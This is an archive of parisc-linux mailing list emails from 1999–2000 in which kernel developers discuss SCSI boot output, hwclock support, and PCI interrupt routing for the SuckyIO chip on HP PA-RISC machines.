    sim700: Couldn't get consistent shared memory

    // That just indicates that we are using old hardware

    sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86

    // That line indicates it is a 53c700, and not a 53c710

    scsi0: Revision 0x0
    Post test1, istat 05, sstat0 00, dstat 84
    sim700: WARNING IRQ probe failed, (returned 0)

    // That WARNING IRQ... is expected on parisc

    scsi0: WARNING: target data areas are not dma coherent!

    // That again is just a warning, and nothing to worry about

    scsi0: test 1 completed ok.

    // That indicates the driver can talk to the chip, and the chip
    // can generate interrupts.

    scsi0 : LASI/Simple 53c7xx
      Vendor: HP        Model: HP35470A          Rev: 7 09
      Type:   Sequential-Access                  ANSI SCSI revision: 02
      Vendor: SEAGATE   Model: ST32430N          Rev: 0510
      Type:   Direct-Access                      ANSI SCSI revision: 02
      Vendor: MICROP    Model: 2112              Rev: 4024
      Type:   Direct-Access                      ANSI SCSI revision: 02
    Detected scsi tape st0 at scsi0, channel 0, id 3, lun 0
    st: bufsize 32768, wrt 30720, max init. buffers 4, s/g segs 16.
    Detected scsi disk sda at scsi0, channel 0, id 5, lun 0
    Detected scsi disk sdb at scsi0, channel 0, id 6, lun 0
    SCSI device sda: 4197405 512-byte hdwr sectors (2149 MB)
    Partition check:
     sda: sda1 sda2 sda3
    SCSI device sdb: 2051460 512-byte hdwr sectors (1050 MB)
     sdb: unknown partition table

Alex, you already have a full boot log for this machine.

Richard


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hwclock
Date: Wed, 20 Dec 2000 10:28:53 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20001220102853.F2554@linuxcare.com>
References: <3A3F8376.BF84A667@linuxcare.com> <200012192325.PAA16134@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619456 9205 80.91.229.3 (22 Nov 2014 01:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:16 +0000 (UTC)
Cc: Alex deVries <adevries@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Wed Dec 20 03:32:02 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA21281
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 03:32:02 -0700
Original-Received: (qmail 14091 invoked by uid 15267); 20 Dec 2000 10:35:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14084 invoked from network); 20 Dec 2000 10:35:01 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 10:35:01 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id A8120B005; Wed, 20 Dec 2000 10:28:53 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200012192325.PAA16134@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Dec 19, 2000 at 03:25:34PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8966

On Tue, Dec 19, 2000 at 03:25:34PM -0800, Grant Grundler wrote:
> Alex deVries wrote:
> > There's been some discussion on IRC about not always having to set the
> > clock when in userspace.  I had a quick look at it, and it shouldn't be
> > too hard.  We just need a parisc version of hwclock which calls the
> > PDC_TOD functions.
> 
> CONFIG_GENRTC in fact does use PDC_TOD.
> Randolph Chung had hwclock working for PXC-L/L2 machines and I tested it
> on my c3k (32-bit) a few weeks back.
> If it's broken, then it's a "recent" change.

Works for me on B180L (once I created /dev/rtc).  Kernel source as of
CVS 12 hours ago.

Richard


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 13:05:38 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E148iw9-0001Vc-00@the-village.bc.nu>
References: <3A405395.FFFF99E4@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619456 9207 80.91.229.3 (22 Nov 2014 01:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:16 +0000 (UTC)
Cc: grundler@cup.hp.com (Grant Grundler), parisc-linux@thepuffingroup.com
To: adevries@linuxcare.com (Alex deVries)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec 20 06:27:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA23592
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 06:27:36 -0700
Original-Received: (qmail 1621 invoked by uid 15267); 20 Dec 2000 13:30:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1571 invoked from network); 20 Dec 2000 13:30:24 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 13:30:24 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 148iw9-0001Vc-00; Wed, 20 Dec 2000 13:05:41 +0000
In-Reply-To: <3A405395.FFFF99E4@linuxcare.com> from "Alex deVries" at Dec 20, 2000 01:37:09 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8967

> > Why are you reading this out of a register? Which register?
> 
> I'm reading it out of the INTERRUPT_LINE register because that's how
> 'normal' PCI devices set their dev->irq value.  If you say that's the
> right approach, I believe you.

INTERRUPT_PIN is pre-PCI plumbing view of the interrupt
INTERRUPT_LINE is sort of the PCI view of the interrupt at best
pci_dev->irq is the Linux view post all the plumbing and host goo



From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 15:50:45 +0000
Lines: 29
Approved: news@gmane.org
Message-ID: <20001220155045.A19376@parcelfarce.linux.theplanet.co.uk>
References: <3A3F82E0.C0FB63D6@linuxcare.com> <200012200256.SAA16519@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619457 9208 80.91.229.3 (22 Nov 2014 01:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:17 +0000 (UTC)
Cc: Alex deVries <adevries@linuxcare.com>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@www.linux.org.uk  Wed Dec 20 09:04:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA25464
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 09:04:41 -0700
Original-Received: (qmail 9744 invoked by uid 15267); 20 Dec 2000 16:07:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9725 invoked from network); 20 Dec 2000 16:07:34 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 16:07:34 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 148lVt-0005Xe-00; Wed, 20 Dec 2000 15:50:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <200012200256.SAA16519@milano.cup.hp.com>; from grundler@cup.hp.com on Tue, Dec 19, 2000 at 06:56:32PM -0800
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:8968

On Tue, Dec 19, 2000 at 06:56:32PM -0800, Grant Grundler wrote:
> Why are you reading this out of a register? Which register?

The chip is so b0rken that it doesn't put its irq number in the standard
register -- reads return 0.  So the quirk code I wrote pulls the irq
number from a different register on the chip -- which i now believe to
be incorrect.

> IIRC, function 0 and 2 *should* return 0 in INTERRUPT_PIN configuration
> register and thus the INTERRUPT_LINE configuration as well.
> But since IOSAPIC driver (when invoked by LBA PCI code) munges the
> INTERRUPT_LINE contents and puts the virtualized IRQ number in 
> dev->irq for the drivers consumption, superio driver should
> not be reading these configuration registers.

That's OK, at least for the code I wrote, the quirk code is called in the
right place (ie before the iosapic code gets its hands on it) that if it can
find the right value and poke it back into dev->irq, the iosapic virtualising
code will deal with it correctly.

> If what I wrote above doesn't make any sense, tell me where to
> to find the code you are talking about and I can look at it.

i'd like to see this code too.  why not commit it to the tree?  it's not
like it works at the moment and things would get broken.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hi
Date: Wed, 12 May 1999 13:00:04 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <199905122000.NAA15037@milano.cup.hp.com>
References: <19990512194227.52770@insula.local>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619457 9210 80.91.229.3 (22 Nov 2014 01:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:17 +0000 (UTC)
Cc: Matthew Wilcox <Matthew.Wilcox@genedata.com>,
        parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Original-X-From: grundler@cup.hp.com  Wed May 12 14:03:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA13414
	for <parisc-linux@puffin.external.hp.com>; Wed, 12 May 1999 14:03:41 -0600
Original-Received: (qmail 7907 invoked by uid 15267); 12 May 1999 20:03:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7897 invoked from network); 12 May 1999 20:03:19 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 12 May 1999 20:03:19 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.13.185.124])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id QAA28765;
	Wed, 12 May 1999 16:03:18 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id NAA15037; Wed, 12 May 1999 13:00:04 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 12 May 1999 19:42:27 PDT."
             <19990512194227.52770@insula.local> 
Xref: news.gmane.org gmane.linux.ports.parisc:8969

Philipp Rumpf wrote:
> > I'd just like to introduce myself.  I've liberated a 715/33 Apollo from
> > use as a monitor stand and managed to retrieve all the pieces needed to
> > get it as far as a boot prom prompt.  It's got 56MB of RAM and a hard disc
> > of some description.  I've got it attached to the ethernet, though I have
> > no idea whether this is working right now.  I don't however have anything
> > to boot right now - apparently this disc was used for swap when this
> > workstations was running HP-UX in the dim distant past (you should see
> > the dust).
> 
> I think you have the choice to either wait til Linux is bootable or get a
> second hard disk and an HP-UX on it. The disks should be narrow SCSI so the
> second disk shouldn't really be much of a problem.

Mathew can also download and try to install the PA-mklinux.
I have this running on a 712/60 now. I suggest this because
I don't know how accessible HP-UX bits are to the general public.
HP-UX is usually distributed on CD-ROM these days.

Since the source is available for mk-linux, that would suppliment
the PA architecture documentation and might provide the kind of
implementation detail someone experienced in assembler could use.

grant

> 
> > I have no previous experience of the HP architecture, but I'm a dab hand
> > at ARM assembler and I'm willing to learn.  Anyway, here I am with a
> > machine, ready to help.  
> 
> OK, first I propose you look at www.thepuffingroup.com/parisc and get just
> about everything linked from the Documentation section. What is most importan
>   t
> to get a kernel working fast is acd.pdf (ARM), the runtime architecture docum
>   ent
> and perhaps pdc and iodc descriptions.
> 
> I think it should be theoretically possible to put the disk in a supported
> machine, cross-build a kernel and bootloader (oh yeah, perhaps you should
> fix the problems with that first ;), put it back into the PARISC aso. but
> just getting a version of HP-UX and a second disk seems easier to me.
> 
> 	Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Enterprise Systems Technology Lab
+1.408.447.7253


From - Thu Nov 08 21:14:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 11:54:37 -0500
Organization: The Puffins at Linuxcare
Lines: 27
Approved: news@gmane.org
Message-ID: <3A40E44D.DBBE58A2@linuxcare.com>
References: <3A3F82E0.C0FB63D6@linuxcare.com> <200012200256.SAA16519@milano.cup.hp.com> <20001220155045.A19376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619457 9211 80.91.229.3 (22 Nov 2014 01:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:17 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: adevries@linuxcare.com  Wed Dec 20 09:48:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA26366
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 09:48:43 -0700
Original-Received: (qmail 16794 invoked by uid 15267); 20 Dec 2000 16:51:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16756 invoked from network); 20 Dec 2000 16:51:42 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 16:51:42 -0000
Original-Received: (qmail 3050 invoked from network); 20 Dec 2000 16:51:40 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 20 Dec 2000 16:51:40 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8970

Matthew Wilcox wrote:
> The chip is so b0rken that it doesn't put its irq number in the standard
> register -- reads return 0.  So the quirk code I wrote pulls the irq
> number from a different register on the chip -- which i now believe to
> be incorrect.

I don't think that's right either...  register 6B is an IDE interrupt
routing register, not the interrupt itself.

If the iosapic system is supposed to remap the register, I don't think
it is and I don't know where this is supposed to happen.  I hope we can
do all of this using just a PCI quirk.

> i'd like to see this code too.  why not commit it to the tree?  it's not
> like it works at the moment and things would get broken.

I've committed it, and it definitely does not work, but I don't think
it'll break anything either.  This is mostly mkp's code.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 09:30:30 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <200012201731.JAA17254@milano.cup.hp.com>
References: <E148iw9-0001Vc-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619457 9212 80.91.229.3 (22 Nov 2014 01:24:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:17 +0000 (UTC)
Cc: adevries@linuxcare.com (Alex deVries),
        grundler@cup.hp.com (Grant Grundler), parisc-linux@thepuffingroup.com,
        grundler@milano.cup.hp.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Wed Dec 20 10:27:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA27127
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 10:27:20 -0700
Original-Received: (qmail 22803 invoked by uid 15267); 20 Dec 2000 17:30:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22677 invoked from network); 20 Dec 2000 17:30:12 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 17:30:12 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 422FC60B; Wed, 20 Dec 2000 09:30:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA17254;
	Wed, 20 Dec 2000 09:31:07 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 20 Dec 2000 13:05:38 PST."
             <E148iw9-0001Vc-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8971


Let me elaborate a bit on Alan's terse explanation.

Alan Cox wrote:
> INTERRUPT_PIN is pre-PCI plumbing view of the interrupt

PIN is the *output* signal used by the PCI device. Each PCI device
is defined to use none, or one of four available INT signals (A-D).
PIN is hardwired value to indicate which it is.

> INTERRUPT_LINE is sort of the PCI view of the interrupt at best

LINE is initialized by BIOS or platform knowledgable code.
LINE is the *input* signal to an interrupt controller.
The routing of Interrupt Lines is *platform dependent* and is
generally different for each PCI device.
ie INT-A for one device != INT-A for another

> pci_dev->irq is the Linux view post all the plumbing and host goo

In our case, it's the IRQ region plus IRQ offset right now.
I've proposed another IRQ scheme which would replace the math with
a lookup table. But we haven't done anything with it yet since
the region+offset is "good enough" for now.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 10:24:36 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200012201824.KAA17332@milano.cup.hp.com>
References: <20001220155045.A19376@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619458 9215 80.91.229.3 (22 Nov 2014 01:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Wed Dec 20 11:20:57 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA28062
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 11:20:57 -0700
Original-Received: (qmail 15050 invoked by uid 15267); 20 Dec 2000 18:23:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15029 invoked from network); 20 Dec 2000 18:23:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 18:23:55 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id E8FC0BA0; Wed, 20 Dec 2000 10:23:53 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA17332;
	Wed, 20 Dec 2000 10:24:56 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 20 Dec 2000 15:50:45 PST."
             <20001220155045.A19376@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8972

Matthew Wilcox wrote:
> That's OK, at least for the code I wrote, the quirk code is called in the
> right place (ie before the iosapic code gets its hands on it) that if it can
> find the right value and poke it back into dev->irq, the iosapic virtualising
> code will deal with it correctly.

It won't. I just checked. :^(

lba_fixup_bus() invokes iosapic_fixup_irq() for each PCI device.
iosapic_fixup_irq() invokes iosapic_xlate_pin() to locate both the
INTERRUPT_LINE and parent IOSAPIC. xlate_pin reads the INTERRUPT_PIN
and *ignores* the INTERRUPT_LINE. This behavior has to remain in order
to support PAT PDC platforms (which do not initialize the PCI device).

I doubt we can use pci_quirks to fixup the dev->irq.
I've proposed to Alex to use a "bus devices" scheme (a' la LASI).
So some "central" code will manage IRQ routing for devices below suckyio.
I.e. suckyio will have it's own IRQ region and collectively manage
all three PCI functions as "one device".

This would be the first case in parisc-linux where we "stack" three
IRQ regions on top of each other: driver->suckyio->iosapic->CPU

glad I could help,
grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 20:47:45 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E148q9M-0001y8-00@the-village.bc.nu>
References: <200012201731.JAA17254@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619458 9218 80.91.229.3 (22 Nov 2014 01:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:18 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), adevries@linuxcare.com (Alex deVries),
        grundler@cup.hp.com (Grant Grundler), parisc-linux@thepuffingroup.com,
        grundler@milano.cup.hp.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Dec 20 13:43:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29504
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 13:43:30 -0700
Original-Received: (qmail 2099 invoked by uid 15267); 20 Dec 2000 20:46:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2086 invoked from network); 20 Dec 2000 20:46:26 -0000
Original-Received: from router-100m.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.17)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 20:46:26 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 148q9M-0001y8-00; Wed, 20 Dec 2000 20:47:48 +0000
In-Reply-To: <200012201731.JAA17254@milano.cup.hp.com> from "Grant Grundler" at Dec 20, 2000 09:30:30 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8973

> In our case, it's the IRQ region plus IRQ offset right now.
> I've proposed another IRQ scheme which would replace the math with
> a lookup table. But we haven't done anything with it yet since
> the region+offset is "good enough" for now.

Providing dev->irq is a suitable size putting a pointer into it is also 
perfectly acceptable although it makes the error reports look odd. Which
reminds me that someday we need canonicalise_irq(irq) for reporting stuff
nicely cross arch


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SuckyIO support
Date: Wed, 20 Dec 2000 13:12:19 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200012202112.NAA17564@milano.cup.hp.com>
References: <E148q9M-0001y8-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619458 9223 80.91.229.3 (22 Nov 2014 01:24:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:18 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Wed Dec 20 14:08:39 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA30175
	for <parisc-linux@puffin.external.hp.com>; Wed, 20 Dec 2000 14:08:39 -0700
Original-Received: (qmail 12396 invoked by uid 15267); 20 Dec 2000 21:11:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12383 invoked from network); 20 Dec 2000 21:11:38 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 20 Dec 2000 21:11:38 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 55231706; Wed, 20 Dec 2000 13:11:36 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA17564;
	Wed, 20 Dec 2000 13:12:35 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 20 Dec 2000 20:47:45 PST."
             <E148q9M-0001y8-00@the-village.bc.nu> 
Xref: news.gmane.org gmane.linux.ports.parisc:8974

Alan Cox wrote:
> > In our case, it's the IRQ region plus IRQ offset right now.
> > I've proposed another IRQ scheme which would replace the math with
> > a lookup table. But we haven't done anything with it yet since
> > the region+offset is "good enough" for now.
> 
> Providing dev->irq is a suitable size putting a pointer into

only for 32-bit ILP. 64-bit LP (hppa) can't do that.
"int" is only 32-bits for both. Good idea though.

HP-UX has used "intr_obj" (iirc, void *) since 10.x and probably before.
The idea of a lookup table (I mentioned it above) would be obsoleted by
dev->irq defined as void *.
Maybe 2.5 kernel could use void * for dev->irq?

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc and ptrace
Date: Thu, 21 Dec 2000 13:19:24 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20001221131924.V2554@linuxcare.com>
References: <20001219182257.O7166@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619459 9227 80.91.229.3 (22 Nov 2014 01:24:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:24:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Thu Dec 21 06:22:44 2000
